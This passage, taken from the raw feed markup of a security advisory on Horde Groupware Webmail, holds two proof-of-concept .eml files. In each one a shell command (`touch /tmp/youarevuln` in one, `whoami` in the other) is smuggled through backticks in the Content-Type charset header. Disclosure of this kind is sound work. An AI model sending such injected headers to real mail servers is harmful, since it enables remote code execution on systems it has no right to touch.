data-line=\"crayon-58eab3b3727a7020810742-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727a7020810742-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727a7020810742-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727a7020810742-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727a7020810742-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727a7020810742-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727a7020810742-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727a7020810742-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727a7020810742-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727a7020810742-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727a7020810742-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727a7020810742-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727a7020810742-25\">25<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727a7020810742-1\"><span class=\"crayon-v\">Date<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Fri<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">04<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">Nov<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2016<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">04<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">19<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0000<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727a7020810742-2\"><span class=\"crayon-v\">Message<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">ID<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">20161104160419.Horde.HpYObg_3<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">4QS<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">nUzWujEkg3<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">ubvm<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">mydomain<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">com<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727a7020810742-3\"><span class=\"crayon-v\">From<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Donald <\/span><span class=\"crayon-v\">Trump<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">attacker<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">attacker<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">com<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727a7020810742-4\"><span class=\"crayon-st\">To<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SomeUser<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">mydoamin<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">com<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727a7020810742-5\"><span class=\"crayon-v\">Subject<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PGP_INLine_touch_tmp<\/span><span class=\"crayon-sy\">_<\/span>youarevuln<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727a7020810742-6\"><span class=\"crayon-v\">X<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">IMP<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Draft<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Yes<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727a7020810742-7\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Type<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">plain<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">CHARSET<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;US-ASCII`touch \/tmp\/youarevuln`&#8221;<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">format<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">flowed<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">DelSp<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">Yes<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727a7020810742-8\"><span class=\"crayon-v\">MIME<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Version<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1.0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727a7020810742-9\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Disposition<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">inline<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727a7020810742-10\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727a7020810742-11\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727a7020810742-12\"><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">BEGIN <\/span><span class=\"crayon-e\">PGP <\/span><span class=\"crayon-t\">SIGNED<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">MESSAGE<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727a7020810742-13\"><span class=\"crayon-v\">Hash<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">SHA1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727a7020810742-14\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727a7020810742-15\"><span class=\"crayon-r\">This<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">is<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sample <\/span><span class=\"crayon-i\">of<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">clear <\/span><span class=\"crayon-t\">signed<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">message<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727a7020810742-16\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727a7020810742-17\"><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">BEGIN <\/span><span class=\"crayon-e\">PGP <\/span><span class=\"crayon-v\">SIGNATURE<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727a7020810742-18\"><span class=\"crayon-v\">Version<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2.6.2<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727a7020810742-19\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727a7020810742-20\"><span class=\"crayon-v\">iQCVAwUBMoSCcM4T3nOFCCzVAQF4aAP<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">eaP2nssHHDTHyPBSjgwyzryguwBd2szF<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727a7020810742-21\"><span class=\"crayon-v\">U5IFy5JfU<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">PAa6NV6m<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">UWW8IKczNX2cmaKQNgubwl3w0odFQPUS<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-e\">nZ9myo5QtRZh<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727a7020810742-22\"><span class=\"crayon-v\">DztuhjzJMEzwtm8KTKBnF<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">LJ9X05pSQUvoHfLZ<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">waJdVt4E<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">xfEs90l8DT1HDdIz<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727a7020810742-23\"><span class=\"crayon-v\">CvynscaD<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">wA<\/span><span class=\"crayon-o\">=<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727a7020810742-24\"><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">Xb9n<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727a7020810742-25\"><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-st\">END<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">PGP <\/span><span class=\"crayon-v\">SIGNATURE<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0035 seconds] -->  <\/p>\n<p><strong>attack_whoami.eml<\/strong><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b3727ab086666106\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> Date: Fri, 04 Nov 2016 16:04:19 +0000  Message-ID: &lt;20161104160419.Horde.HpYObg_3-4QS-nUzWujEkg3@ubvm.mydomain.com&gt;  From: Donald Trump &lt;attacker@attacker.com&gt;  To: SomeUser@mydoamin.com  Subject: PGP_INLine_whoami  X-IMP-Draft: Yes  Content-Type: text\/plain; CHARSET=US-ASCII`whoami`; format=flowed; DelSp=Yes  MIME-Version: 1.0  Content-Disposition: inline      &#8212;&#8211;BEGIN PGP SIGNED MESSAGE&#8212;&#8211;  Hash: SHA1    This is a sample of a clear signed message.    &#8212;&#8211;BEGIN PGP SIGNATURE&#8212;&#8211;  Version: 2.6.2    iQCVAwUBMoSCcM4T3nOFCCzVAQFJaAP\/eaP2nssHHDTHyPBSjgwyzryguwBd2szF  U5IFy5JfU+PAa6NV6m\/UWW8IKczNX2cmaKQNgubwl3w0odFQPUS+nZ9myo5QtRZh  DztuhjzJMEzwtm8KTKBnF\/LJ9X05pSsUvoHfLZ\/waJdVt4E\/xfEs90l8DT1HDdIz  CvynscaD+wA=  =Xb9n  &#8212;&#8211;END PGP SIGNATURE&#8212;&#8211;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727ab086666106-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727ab086666106-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727ab086666106-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727ab086666106-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727ab086666106-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727ab086666106-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727ab086666106-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727ab086666106-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727ab086666106-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727ab086666106-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727ab086666106-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727ab086666106-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727ab086666106-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727ab086666106-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727ab086666106-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727ab086666106-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727ab086666106-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727ab086666106-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727ab086666106-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727ab086666106-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727ab086666106-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727ab086666106-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727ab086666106-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b3727ab086666106-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b3727ab086666106-25\">25<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727ab086666106-1\"><span class=\"crayon-v\">Date<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Fri<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">04<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">Nov<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2016<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">04<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">19<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0000<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727ab086666106-2\"><span class=\"crayon-v\">Message<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">ID<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-cn\">20161104160419.Horde.HpYObg_3<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">4QS<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">nUzWujEkg3<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">ubvm<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">mydomain<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">com<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727ab086666106-3\"><span class=\"crayon-v\">From<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Donald <\/span><span class=\"crayon-v\">Trump<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">attacker<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">attacker<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">com<\/span><span class=\"crayon-o\">&gt;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727ab086666106-4\"><span class=\"crayon-st\">To<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">SomeUser<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">mydoamin<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">com<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727ab086666106-5\"><span class=\"crayon-v\">Subject<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">PGP_INLine<\/span><span class=\"crayon-sy\">_<\/span>whoami<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727ab086666106-6\"><span class=\"crayon-v\">X<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">IMP<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Draft<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Yes<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727ab086666106-7\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Type<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">plain<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">CHARSET<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">US<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">ASCII<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-v\">whoami<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">format<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">flowed<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">DelSp<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-e\">Yes<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727ab086666106-8\"><span class=\"crayon-v\">MIME<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Version<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1.0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727ab086666106-9\"><span class=\"crayon-v\">Content<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Disposition<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">inline<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727ab086666106-10\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727ab086666106-11\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727ab086666106-12\"><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">BEGIN <\/span><span class=\"crayon-e\">PGP <\/span><span class=\"crayon-t\">SIGNED<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">MESSAGE<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727ab086666106-13\"><span class=\"crayon-v\">Hash<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">SHA1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727ab086666106-14\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727ab086666106-15\"><span class=\"crayon-r\">This<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">is<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">sample <\/span><span class=\"crayon-i\">of<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">clear <\/span><span class=\"crayon-t\">signed<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">message<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727ab086666106-16\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727ab086666106-17\"><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">BEGIN <\/span><span class=\"crayon-e\">PGP <\/span><span class=\"crayon-v\">SIGNATURE<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727ab086666106-18\"><span class=\"crayon-v\">Version<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2.6.2<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727ab086666106-19\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727ab086666106-20\"><span class=\"crayon-v\">iQCVAwUBMoSCcM4T3nOFCCzVAQFJaAP<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">eaP2nssHHDTHyPBSjgwyzryguwBd2szF<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727ab086666106-21\"><span class=\"crayon-v\">U5IFy5JfU<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">PAa6NV6m<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">UWW8IKczNX2cmaKQNgubwl3w0odFQPUS<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-e\">nZ9myo5QtRZh<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727ab086666106-22\"><span class=\"crayon-v\">DztuhjzJMEzwtm8KTKBnF<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">LJ9X05pSsUvoHfLZ<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">waJdVt4E<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">xfEs90l8DT1HDdIz<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727ab086666106-23\"><span class=\"crayon-v\">CvynscaD<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-v\">wA<\/span><span class=\"crayon-o\">=<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b3727ab086666106-24\"><span class=\"crayon-o\">=<\/span><span class=\"crayon-v\">Xb9n<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b3727ab086666106-25\"><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-st\">END<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">PGP <\/span><span class=\"crayon-v\">SIGNATURE<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0029 seconds] -->  <\/p>\n<p>&nbsp;<\/p>\n<\/p><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3107\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-1-300x214.jpg\"\/><\/p>\n<p><strong>Credit to Author: Maor Schwartz| Date: Sun, 09 Apr 2017 10:28:46 +0000<\/strong><\/p>\n<p>Vulnerabilities Summary The following advisory describes two (2) vulnerabilities found in Horde Groupware Webmail. Horde Groupware Webmail Edition is a free, enterprise ready, browser based communication suite. Users can read, send and organize email messages and manage and share calendars, contacts, tasks, notes, files, and bookmarks with the standards compliant components from the Horde Project. &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3107\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory \u2013 Horde Groupware Webmail Multiple Remote Code Execution 